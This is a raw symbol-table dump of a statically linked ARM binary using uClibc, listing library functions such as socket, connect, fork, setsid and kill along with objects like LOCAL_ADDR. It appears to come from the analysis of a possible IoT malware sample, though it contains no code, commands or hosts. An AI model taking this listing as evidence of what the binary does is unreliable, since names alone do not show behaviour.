$d	.symtab	0x1149c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x20	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x26	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x11c30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11d1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11d68	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11da0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11de0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11e34	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11e78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11ebc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11efc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x11fd0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12014	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12054	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12098	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x120dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1211c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12154	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12198	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12218	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1225c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x122e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1234c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x123bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1262c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12710	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x127d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12884	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20d08	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x12960	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a08	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a38	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12a6c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12dc8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12ebc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x12f24	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1308c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13250	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13318	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13748	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x137ec	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x13944	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a134	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x2a130	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x142b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20d84	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1456c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x145b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x14b04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a218	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x20d8c	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1512c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x154dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15684	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x158e0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15af8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x20e10	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x15bd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15c40	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15cb4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15cf8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15d3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15db0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15df4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15e3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15e80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15ec0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15f30	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x15f7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16000	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16044	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x160b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16100	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16188	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x161d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16214	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16268	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16338	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x16d3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a21c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x16e84	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17240	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x176e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17738	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17854	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a234	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17930	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x179e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17aa8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17b4c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a24c	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x2a2e4	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x17bf4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17cc4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17db8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x17ea8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2197c	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x180b8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1816c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a2f8	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x182b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x188d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18948	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18cf0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x18edc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19008	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19020	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x190b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19140	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x191d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x193bc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19470	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x194d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19524	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x198d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2a310	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x19a58	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x19f78	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a034	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a0b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a0e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a164	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a1dc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a240	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a284	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a2e8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a388	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a414	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a450	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a490	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a4e4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a528	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a568	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a5a8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a604	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a648	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a6b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a740	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a7b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1a890	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ac14	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ad80	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b134	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b26c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b348	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1b564	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1bf38	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x21aa8	0	NOTYPE	<unknown>	DEFAULT	4
$d	.symtab	0x1c1c0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c2b0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c3b4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c4a4	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c590	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c768	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c7d0	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1c840	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ca7c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cadc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cb8c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cbd8	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cd1c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1ce04	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1cf3c	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x2c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x4c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x53	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x1dcbc	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x1e664	0	NOTYPE	<unknown>	DEFAULT	2
$d	.symtab	0x58	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x23c	0	NOTYPE	<unknown>	DEFAULT	21
$d	.symtab	0xe39	0	NOTYPE	<unknown>	DEFAULT	23
$d	.symtab	0x2a128	0	NOTYPE	<unknown>	DEFAULT	13
$d	.symtab	0x20a06	0	NOTYPE	<unknown>	DEFAULT	4
C.11.5548	.symtab	0x219ec	12	OBJECT	<unknown>	DEFAULT	4
C.5.5083	.symtab	0x20d08	24	OBJECT	<unknown>	DEFAULT	4
C.7.5370	.symtab	0x219f8	12	OBJECT	<unknown>	DEFAULT	4
C.7.6078	.symtab	0x20d2c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6109	.symtab	0x20d5c	12	OBJECT	<unknown>	DEFAULT	4
C.7.6182	.symtab	0x20d38	12	OBJECT	<unknown>	DEFAULT	4
C.8.6110	.symtab	0x20d50	12	OBJECT	<unknown>	DEFAULT	4
C.9.6119	.symtab	0x20d44	12	OBJECT	<unknown>	DEFAULT	4
LOCAL_ADDR	.symtab	0x393b0	4	OBJECT	<unknown>	DEFAULT	14
Laligned	.symtab	0x15798	0	NOTYPE	<unknown>	DEFAULT	2
Llastword	.symtab	0x157b4	0	NOTYPE	<unknown>	DEFAULT	2
Q	.symtab	0x2a364	16384	OBJECT	<unknown>	DEFAULT	14
_Exit	.symtab	0x1a1e0	104	FUNC	<unknown>	DEFAULT	2
_GLOBAL_OFFSET_TABLE_	.symtab	0x2a010	0	OBJECT	<unknown>	HIDDEN	12
_Jv_RegisterClasses	.symtab	0x0	0	NOTYPE	<unknown>	DEFAULT	SHN_UNDEF
_READ.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
_Unwind_Complete	.symtab	0x1da70	4	FUNC	<unknown>	HIDDEN	2
_Unwind_DeleteException	.symtab	0x1da74	44	FUNC	<unknown>	HIDDEN	2
_Unwind_ForcedUnwind	.symtab	0x1e724	36	FUNC	<unknown>	HIDDEN	2
_Unwind_GetCFA	.symtab	0x1da68	8	FUNC	<unknown>	HIDDEN	2
_Unwind_GetDataRelBase	.symtab	0x1daac	12	FUNC	<unknown>	HIDDEN	2
_Unwind_GetLanguageSpecificData	.symtab	0x1e748	68	FUNC	<unknown>	HIDDEN	2
_Unwind_GetRegionStart	.symtab	0x1eee8	52	FUNC	<unknown>	HIDDEN	2
_Unwind_GetTextRelBase	.symtab	0x1daa0	12	FUNC	<unknown>	HIDDEN	2
_Unwind_RaiseException	.symtab	0x1e6b8	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume	.symtab	0x1e6dc	36	FUNC	<unknown>	HIDDEN	2
_Unwind_Resume_or_Rethrow	.symtab	0x1e700	36	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Get	.symtab	0x1d9d0	76	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Pop	.symtab	0x1dfe8	324	FUNC	<unknown>	HIDDEN	2
_Unwind_VRS_Set	.symtab	0x1da1c	76	FUNC	<unknown>	HIDDEN	2
_WRITE.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b	.symtab	0x2a128	4	OBJECT	<unknown>	DEFAULT	13
__C_ctype_b.c	.symtab	0x0	0	FILE	<unknown>	DEFAULT	SHN_ABS
__C_ctype_b_data	.symtab	0x20a06	768	OBJECT	<unknown>	DEFAULT	4
__EH_FRAME_BEGIN__	.symtab	0x2a000	0	OBJECT	<unknown>	DEFAULT	7
__FRAME_END__	.symtab	0x2a000	0	OBJECT	<unknown>	DEFAULT	7
__GI___C_ctype_b	.symtab	0x2a128	4	OBJECT	<unknown>	HIDDEN	13
__GI___close	.symtab	0x19040	100	FUNC	<unknown>	HIDDEN	2
__GI___close_nocancel	.symtab	0x19024	24	FUNC	<unknown>	HIDDEN	2
__GI___ctype_b	.symtab	0x2a12c	4	OBJECT	<unknown>	HIDDEN	13
__GI___errno_location	.symtab	0x12a1c	32	FUNC	<unknown>	HIDDEN	2
__GI___fcntl_nocancel	.symtab	0x11ba0	152	FUNC	<unknown>	HIDDEN	2
__GI___fgetc_unlocked	.symtab	0x1c09c	300	FUNC	<unknown>	HIDDEN	2
__GI___glibc_strerror_r	.symtab	0x159e4	24	FUNC	<unknown>	HIDDEN	2
__GI___libc_close	.symtab	0x19040	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_fcntl	.symtab	0x11c38	244	FUNC	<unknown>	HIDDEN	2
__GI___libc_open	.symtab	0x190d0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_read	.symtab	0x191f0	100	FUNC	<unknown>	HIDDEN	2
__GI___libc_write	.symtab	0x19160	100	FUNC	<unknown>	HIDDEN	2
__GI___open	.symtab	0x190d0	100	FUNC	<unknown>	HIDDEN	2
__GI___open_nocancel	.symtab	0x190b4	24	FUNC	<unknown>	HIDDEN	2
__GI___read	.symtab	0x191f0	100	FUNC	<unknown>	HIDDEN	2
__GI___read_nocancel	.symtab	0x191d4	24	FUNC	<unknown>	HIDDEN	2
__GI___sigaddset	.symtab	0x16368	36	FUNC	<unknown>	HIDDEN	2
__GI___sigdelset	.symtab	0x1638c	36	FUNC	<unknown>	HIDDEN	2
__GI___sigismember	.symtab	0x16344	36	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_fini	.symtab	0x19408	124	FUNC	<unknown>	HIDDEN	2
__GI___uClibc_init	.symtab	0x194d8	88	FUNC	<unknown>	HIDDEN	2
__GI___write	.symtab	0x19160	100	FUNC	<unknown>	HIDDEN	2
__GI___write_nocancel	.symtab	0x19144	24	FUNC	<unknown>	HIDDEN	2
__GI___xpg_strerror_r	.symtab	0x159fc	268	FUNC	<unknown>	HIDDEN	2
__GI__exit	.symtab	0x1a1e0	104	FUNC	<unknown>	HIDDEN	2
__GI_abort	.symtab	0x17740	296	FUNC	<unknown>	HIDDEN	2
__GI_accept	.symtab	0x15c48	116	FUNC	<unknown>	HIDDEN	2
__GI_atoi	.symtab	0x17eb4	32	FUNC	<unknown>	HIDDEN	2
__GI_bind	.symtab	0x15cbc	68	FUNC	<unknown>	HIDDEN	2
__GI_brk	.symtab	0x1cb40	88	FUNC	<unknown>	HIDDEN	2
__GI_chdir	.symtab	0x11d6c	56	FUNC	<unknown>	HIDDEN	2
__GI_chmod	.symtab	0x11da4	64	FUNC	<unknown>	HIDDEN	2
__GI_close	.symtab	0x19040	100	FUNC	<unknown>	HIDDEN	2
__GI_closedir	.symtab	0x12538	272	FUNC	<unknown>	HIDDEN	2
__GI_config_close	.symtab	0x1b0c0	52	FUNC	<unknown>	HIDDEN	2
__GI_config_open	.symtab	0x1b0f4	72	FUNC	<unknown>	HIDDEN	2
__GI_config_read	.symtab	0x1ad98	808	FUNC	<unknown>	HIDDEN	2
__GI_connect	.symtab	0x15d44	116	FUNC	<unknown>	HIDDEN	2
__GI_execve	.symtab	0x1a248	64	FUNC	<unknown>	HIDDEN	2
__GI_exit	.symtab	0x180c8	196	FUNC	<unknown>	HIDDEN	2
__GI_fclose	.symtab	0x12aa8	816	FUNC	<unknown>	HIDDEN	2
__GI_fcntl	.symtab	0x11c38	244	FUNC	<unknown>	HIDDEN	2
__GI_fdopen	.symtab	0x12dd8	60	FUNC	<unknown>	HIDDEN	2
__GI_fflush_unlocked	.symtab	0x15148	940	FUNC	<unknown>	HIDDEN	2
__GI_fgetc	.symtab	0x1bf58	324	FUNC	<unknown>	HIDDEN	2
__GI_fgetc_unlocked	.symtab	0x1c09c	300	FUNC	<unknown>	HIDDEN	2
__GI_fgets	.symtab	0x14b34	284	FUNC	<unknown>	HIDDEN	2
__GI_fgets_unlocked	.symtab	0x154f4	160	FUNC	<unknown>	HIDDEN	2
__GI_fopen	.symtab	0x12e14	32	FUNC	<unknown>	HIDDEN	2
__GI_fork	.symtab	0x1894c	972	FUNC	<unknown>	HIDDEN	2
__GI_fprintf	.symtab	0x12f30	48	FUNC	<unknown>	HIDDEN	2
__GI_fputs	.symtab	0x14c50	284	FUNC	<unknown>	HIDDEN	2
__GI_fputs_unlocked	.symtab	0x15594	56	FUNC	<unknown>	HIDDEN	2
__GI_fseek	.symtab	0x12e34	36	FUNC	<unknown>	HIDDEN	2
__GI_fseeko64	.symtab	0x13094	448	FUNC	<unknown>	HIDDEN	2
__GI_fstat	.symtab	0x1a288	100	FUNC	<unknown>	HIDDEN	2
__GI_fwrite	.symtab	0x14d6c	300	FUNC	<unknown>	HIDDEN	2
__GI_fwrite_unlocked	.symtab	0x155cc	188	FUNC	<unknown>	HIDDEN	2
__GI_getc_unlocked	.symtab	0x1c09c	300	FUNC	<unknown>	HIDDEN	2
__GI_getdtablesize	.symtab	0x1a38c	44	FUNC	<unknown>	HIDDEN	2
__GI_getegid	.symtab	0x1a3b8	20	FUNC	<unknown>	HIDDEN	2
__GI_geteuid	.symtab	0x1a3cc	20	FUNC	<unknown>	HIDDEN	2
__GI_getgid	.symtab	0x1a3e0	20	FUNC	<unknown>	HIDDEN	2
__GI_getpagesize	.symtab	0x1a3f4	40	FUNC	<unknown>	HIDDEN	2
__GI_getpid	.symtab	0x18db0	72	FUNC	<unknown>	HIDDEN	2
__GI_getrlimit	.symtab	0x1a41c	56	FUNC	<unknown>	HIDDEN	2
__GI_getsockname	.symtab	0x15db8	68	FUNC	<unknown>	HIDDEN	2
__GI_gettimeofday	.symtab	0x1a454	64	FUNC	<unknown>	HIDDEN	2
__GI_getuid	.symtab	0x1a494	20	FUNC	<unknown>	HIDDEN	2
__GI_inet_addr	.symtab	0x15bdc	40	FUNC	<unknown>	HIDDEN	2
__GI_inet_aton	.symtab	0x1c678	248	FUNC	<unknown>	HIDDEN	2
__GI_initstate_r	.symtab	0x17cd0	248	FUNC	<unknown>	HIDDEN	2
__GI_ioctl	.symtab	0x11f00	224	FUNC	<unknown>	HIDDEN	2
__GI_isatty	.symtab	0x15b3c	36	FUNC	<unknown>	HIDDEN	2
__GI_kill	.symtab	0x11fe0	56	FUNC	<unknown>	HIDDEN	2
__GI_listen	.symtab	0x15e44	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek	.symtab	0x1a4a8	64	FUNC	<unknown>	HIDDEN	2
__GI_lseek64	.symtab	0x1a748	112	FUNC	<unknown>	HIDDEN	2
__GI_memchr	.symtab	0x1c1c8	240	FUNC	<unknown>	HIDDEN	2
__GI_memcpy	.symtab	0x15690	4	FUNC	<unknown>	HIDDEN	2
__GI_memmove	.symtab	0x156a0	4	FUNC	<unknown>	HIDDEN	2
__GI_mempcpy	.symtab	0x1c2b8	36	FUNC	<unknown>	HIDDEN	2
__GI_memrchr	.symtab	0x1c2dc	224	FUNC	<unknown>	HIDDEN	2
__GI_memset	.symtab	0x156b0	156	FUNC	<unknown>	HIDDEN	2
__GI_mkdir	.symtab	0x12018	64	FUNC	<unknown>	HIDDEN	2
__GI_mmap	.symtab	0x1a040	124	FUNC	<unknown>	HIDDEN	2
__GI_mremap	.symtab	0x1a4e8	68	FUNC	<unknown>	HIDDEN	2
__GI_munmap	.symtab	0x1a52c	64	FUNC	<unknown>	HIDDEN	2
__GI_nanosleep	.symtab	0x1a5ac	96	FUNC	<unknown>	HIDDEN	2
__GI_open	.symtab	0x190d0	100	FUNC	<unknown>	HIDDEN	2
__GI_open64	.symtab	0x1cd24	240	FUNC	<unknown>	HIDDEN	2
__GI_opendir	.symtab	0x12718	196	FUNC	<unknown>	HIDDEN	2
__GI_perror	.symtab	0x12e58	116	FUNC	<unknown>	HIDDEN	2
__GI_raise	.symtab	0x18df8	240	FUNC	<unknown>	HIDDEN	2
__GI_random	.symtab	0x178a8	164	FUNC	<unknown>	HIDDEN	2
__GI_random_r	.symtab	0x17b68	144	FUNC	<unknown>	HIDDEN	2
__GI_read	.symtab	0x191f0	100	FUNC	<unknown>	HIDDEN	2
__GI_readdir	.symtab	0x1288c	232	FUNC	<unknown>	HIDDEN	2
__GI_readdir64	.symtab	0x1a7b8	236	FUNC	<unknown>	HIDDEN	2
__GI_readlink	.symtab	0x120e0	64	FUNC	<unknown>	HIDDEN	2
__GI_recv	.symtab	0x15ec8	112	FUNC	<unknown>	HIDDEN	2
__GI_recvfrom	.symtab	0x15f80	136	FUNC	<unknown>	HIDDEN	2
__GI_remove	.symtab	0x12ecc	100	FUNC	<unknown>	HIDDEN	2
__GI_rmdir	.symtab	0x1a60c	64	FUNC	<unknown>	HIDDEN	2
__GI_sbrk	.symtab	0x1a64c	108	FUNC	<unknown>	HIDDEN	2
__GI_select	.symtab	0x1219c	132	FUNC	<unknown>	HIDDEN	2
__GI_send	.symtab	0x1604c	112	FUNC	<unknown>	HIDDEN	2
__GI_sendto	.symtab	0x16108	136	FUNC	<unknown>	HIDDEN	2
__GI_setsid	.symtab	0x12220	64	FUNC	<unknown>	HIDDEN	2
__GI_setsockopt	.symtab	0x16190	72	FUNC	<unknown>	HIDDEN	2
__GI_setstate_r	.symtab	0x17dc8	236	FUNC	<unknown>	HIDDEN	2
__GI_sigaction	.symtab	0x1a0e8	136	FUNC	<unknown>	HIDDEN	2
__GI_sigaddset	.symtab	0x1621c	80	FUNC	<unknown>	HIDDEN	2
__GI_sigemptyset	.symtab	0x1626c	20	FUNC	<unknown>	HIDDEN	2
__GI_signal	.symtab	0x16280	196	FUNC	<unknown>	HIDDEN	2
__GI_sigprocmask	.symtab	0x12260	140	FUNC	<unknown>	HIDDEN	2
__GI_sleep	.symtab	0x18ee8	300	FUNC	<unknown>	HIDDEN	2
__GI_snprintf	.symtab	0x12f60	48	FUNC	<unknown>	HIDDEN	2
__GI_socket	.symtab	0x161d8	68	FUNC	<unknown>	HIDDEN	2
__GI_sprintf	.symtab	0x12f90	52	FUNC	<unknown>	HIDDEN	2
__GI_srandom_r	.symtab	0x17bf8	216	FUNC	<unknown>	HIDDEN	2
__GI_stat	.symtab	0x122ec	100	FUNC	<unknown>	HIDDEN	2
__GI_strcat	.symtab	0x157d0	40	FUNC	<unknown>	HIDDEN	2
__GI_strchr	.symtab	0x1c3bc	240	FUNC	<unknown>	HIDDEN	2
__GI_strchrnul	.symtab	0x1c4ac	236	FUNC	<unknown>	HIDDEN	2
__GI_strcmp	.symtab	0x15750	28	FUNC	<unknown>	HIDDEN	2
__GI_strcoll	.symtab	0x15750	28	FUNC	<unknown>	HIDDEN	2
__GI_strcpy	.symtab	0x157f8	36	FUNC	<unknown>	HIDDEN	2
__GI_strcspn	.symtab	0x1c598	68	FUNC	<unknown>	HIDDEN	2
__GI_strdup	.symtab	0x15b08	52	FUNC	<unknown>	HIDDEN	2
__GI_strlen	.symtab	0x15770	96	FUNC	<unknown>	HIDDEN	2
__GI_strnlen	.symtab	0x1581c	204	FUNC	<unknown>	HIDDEN	2
__GI_strrchr	.symtab	0x1c5dc	80	FUNC	<unknown>	HIDDEN	2
__GI_strspn	.symtab	0x1c62c	76	FUNC	<unknown>	HIDDEN	2
__GI_strstr	.symtab	0x158e8	252	FUNC	<unknown>	HIDDEN	2
__GI_strtol	.symtab	0x17ed4	28	FUNC	<unknown>	HIDDEN	2
__GI_sysconf	.symtab	0x182d8	1572	FUNC	<unknown>	HIDDEN	2
__GI_tcgetattr	.symtab	0x15b60	124	FUNC	<unknown>	HIDDEN	2
__GI_time	.symtab	0x12350	48	FUNC	<unknown>	HIDDEN	2
__GI_times	.symtab	0x1a6b8	20	FUNC	<unknown>	HIDDEN	2
__GI_unlink	.symtab	0x12380	64	FUNC	<unknown>	HIDDEN	2
__GI_vfprintf	.symtab	0x139cc	324	FUNC	<unknown>	HIDDEN	2
__GI_vsnprintf	.symtab	0x12fc4	208	FUNC	<unknown>	HIDDEN	2
__GI_wait4	.symtab	0x1cba4	56	FUNC	<unknown>	HIDDEN	2
__GI_waitpid	.symtab	0x1a6cc	124	FUNC	<unknown>	HIDDEN	2
__GI_wcrtomb	.symtab	0x1b13c	84	FUNC	<unknown>	HIDDEN	2
__GI_wcsnrtombs	.symtab	0x1b1b4	188	FUNC	<unknown>	HIDDEN	2
__GI_wcsrtombs	.symtab	0x1b190	36	FUNC	<unknown>	HIDDEN	2
__GI_write	.symtab	0x19160	100	FUNC	<unknown>	HIDDEN	2
__JCR_END__	.symtab	0x2a00c	0	OBJECT	<unknown>	DEFAULT	11
__JCR_LIST__	.symtab	0x2a00c	0	OBJECT	<unknown>	DEFAULT	11
___Unwind_ForcedUnwind	.symtab	0x1e724	36	FUNC	<unknown>	HIDDEN	2
___Unwind_RaiseException	.symtab	0x1e6b8	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume	.symtab	0x1e6dc	36	FUNC	<unknown>	HIDDEN	2
___Unwind_Resume_or_Rethrow	.symtab	0x1e700	36	FUNC	<unknown>	HIDDEN	2
___path_search	.symtab	0x1ac4c	332	FUNC	<unknown>	HIDDEN	2
